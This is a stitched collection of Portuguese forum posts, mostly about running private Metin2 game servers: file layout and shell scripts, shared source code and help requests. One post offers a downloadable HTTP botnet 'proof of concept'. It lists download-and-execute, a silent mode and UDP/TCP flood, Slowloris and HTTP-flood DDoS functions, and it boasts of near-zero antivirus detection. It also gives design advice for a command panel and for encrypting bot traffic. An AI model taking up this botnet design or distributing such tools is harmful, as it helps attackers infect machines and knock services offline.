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Olá comunidade, isto pode não interessar a ninguém mas eu gosto de ver as coisas organizadas e então decidi organizar os ficheiros do Metin2 e partilhar para quem também quiser ter uma boa organização nos ficheiros. Aqui está uma imagem de como está organizado. Esta organização de ficheiros é mais fácil de trabalhar. • Como instalar? 1. Faz upload da pasta 'metin2' para '/usr/' 2. Faz upload dos teus ficheiros de servidor para '/usr/metin2/game/share/' (Certifique-se de que você colocou todos os ficheiros nos diretórios corretos) *VEJA <<• Onde vai o quê?>> abaixo. 3. Configure os ficheiros 'CONFIG' no diretório '/usr/metin2/game/config/' 4. Faz upload dos ficheiros da source para '/usr/metin2/source' (Se tiveres) 5. Faz upload do teu 'item_proto/names' e 'mob_proto/names' para '/usr/metin2/game/db/' 6. Faz upload da tua base de dados para '/var/db/' 7. Execute o comando 'cd /usr/metin2/ && sh install.sh' » NOTA: Certifique-se de que você colocou todos os nomes dos ficheiros 'CONFIG' como estão exibidos no diretório '/usr/metin2/game/config/' • Onde vai o quê? Todos os ficheiros 'data' vai para /usr/metin2/game/share/data/ Todos os ficheiros 'package' vai para /usr/metin2/game/share/package/ O ficheiro 'mark_0', 'mark_index' e 'guild_symbol.tga' vai para /usr/metin2/game/share/mark/ A 'game.core' e 'db.core' vai para /usr/metin2/game/share/ • Shells: - backup.sh (Faz backup do game ou do mysql) comando:[cd /usr/metin2/ && sh backup.sh] - install.sh (Instala os links necessários para iniciar o game) comando:[cd /usr/metin2/ && sh install.sh] - clear.sh (Limpa as logs do game e do mysql) comando:[cd /usr/metin2/game/ && sh clear.sh] - start.sh (Inicia o game) comando:[cd /usr/metin2/game/ && sh start.sh] - stop.sh (Para o game) comando:[cd /usr/metin2/game/ && sh stop.sh] *Todos os ficheiros e scripts foram feitos e organizados por mim. • Download: - Dropbox: https://dl.dropboxusercontent.com/u/104961902/Metin2/OrganizedFiles.zip - MEGA: https://mega.nz/#!vNxG0ALb!xptEwOdvsU9jiIBqtJRztK2dE2sLMxIQfJk3oeh5G_g VirusTotal: https://www.virustotal.com/pt/file/c4b6c885b21b9e4fa5b5c9044bce3c2b04764e52cb1ce51a0c51fc9f5949a71f/analysis/1447010934/
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Boas CG, Hoje trago a vocês a Source do binário. Informações importantes: Aconselho a utilizarem o Visual Studio 2013 para compilação (É o que uso, e não tenho problemas). Diretório binary: Onde é salvo o executável após a compilação. Diretório extern: Onde estão os arquivos de include e library necessários para compilação. Diretório source: Onde estão a source do binário (arquivos cpp e h). Diretório vs_files: Onde estão os arquivos necessários para executar o projeto no visual studio. Source montada pelo Reboot, e melhoradas por mim. Bug's Fix: Todas montarias atacam. Python 2.7. Mini map fixed. Cryptoop 5.6.2 boost 1.55 Download Até a próxima ;)
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Olá pessoal , eu compilei minha própria game e deu tudo certo ; ai quando você loga , OK seleciona personagem e DOWN, volta tela de login.. não ha erros nem na sysser cliente quanto channel ou auth na maquina, alguem ja teve esse problema? Agradeço desde já!
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Olá boas galera tenho um cliente com 4 inventario porem minhas files estão configuradas para 2 creio eu. que por esse motivo es equipe ficam em um inventario quando equipados. Gostaria de saber aonde encontro nas files esse ficheiro que dizer SOURCE para fazer a devida alteração. obrigado a todos
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Boas Comunidade! Venho aqui postar a Source Code de M2 PrintScreens: MD5: File: kraizy.tgzSize: 2792119901 bytesMD5: B1F891BED3DCCE0730055999D9E1798ESHA1: 7D1003404BC7FAEF99DB9CB0BDEA787EDA1A39F5SHA256: FA557C3849F0C1AF113F1F40104D87CDC25853C8C82804A1DD873BA786D51E0FSHA384: AB2B7DD15D32B92D623A6D38EBCF5DA1126C0607C605FA98430FE9F8F78B7CA104772643404A6A6AF11386A9CC381C58SHA512: 53AAF509712146097BB8577241FA67A428E40CBCB1B22F670D0468AD6514756384F00C2175E76BF154D64A8A5BCE3FB4894AF7B83691549FD888A05E112E7F6D Download: [*] https://mega.co.nz/#!nYBnwJLL!FwzfQ3H4gCtIjCLCDuv_bGR-GJEUKw5VKvnctQLHbXk Créditos: [*]kraizy Cumprimentos, Luis Bizarro
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Bem pessoal venho aqui publicar o meu Esqueleto/Proof of Concept duma HTTP Botnet com um parser super simples para analizar tudo o que é passado da API para cada um dos slaves, bastante simples, extremamente estável. Aposto que ninguém daqui vai querer saber, mas isto tem o seu valor educacional visto estar tudo comentado a explicar o que cada coisa que faz, é excelente como base para o que quiserem. Tenho ainda de agradecer a uma pessoa que sabe quem é quando ler isto por ter paciência para me aturar, nome que não vou mencionar por não saber se deve ser mencionado, mas fica o agradecimento. De momento tem 3 funções relacionadas com download: Download Download&Execute Download&Execute Silence Mode (Não mostra a consola/GUI do programa) Tem 4 funções de DDoS, não testadas devido à falta de recursos: 2 das quais de Layer 4: - UDP Connection Spammer - TCP Connection Spammer 2 outras de Layer 7, HTTP related: - Slowloris - HTTP Flood As funções relativas ao download são extremamente estáveis e estão testadas intensivamente, é uma TCP Buffered Stream que de momento apenas funciona para o HyperText Transfer Protocol. A função relativa ao File Transfer Protocol como não a fiz não a puz ainda. Todo o projeto foi feito por mim e não deverá ser partilhado em qualquer outro fórum sem o meu consentimento prévio que poderá ou não ser dado após um pedido formal. Isto não é de todo uma HTTP Botnet funcional pois faltam funções como Silent Mining, Stealers, Loggers, Rootkit, Bootkit (ou mesmo startup normal), PE Infection(opcional) e mesmo Web Panel apesar de estar 2/54 dia 09-06-2014 e ter estado FUD na data do seu desenvolvimento. O conceito para o Web Panel é ter um identificador único para cada slave e a partir daí construir uma API em PHP para retornar a string em request do que o bot deverá fazer, deverá ser tudo feito em HTML, CSS, JavaScript, PHP e a base de dados em SQL podendo ter níveis de complexidade bastante distintos. Recomendo ainda a encriptar o que é mandado para o slave, recorrendo a algum tipo de encriptação que necessite de uma chave única para cada slave, isso fica ao vosso critério. LINK: https://anonfiles.com/file/16ded7676cbeef5f8a2be176af60047f Scan: https://www.virustotal.com/en-gb/fi...163ef8a1a3c101e7631d0ae7/analysis/1402334848/ A source toda ela serve para educar, tanto que toda ela está comentada para mostrar o que faz cada coisa. E lembre-se, não posso ser responsabilizado pelos seus actos.
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1. Abra o Microsoft Visual Studio ou Visual C + + Express: 2. Vá em File> Project> New. 3. "Win32 Project 'Select como o tipo de projeto. 4. Na caixa de diálogo seguinte, vá para a elaboração e verificação "DLL" e "Empty Project". 5. Escreva seu código. 6. Ir para Build> Build Solution. Download:Multiupload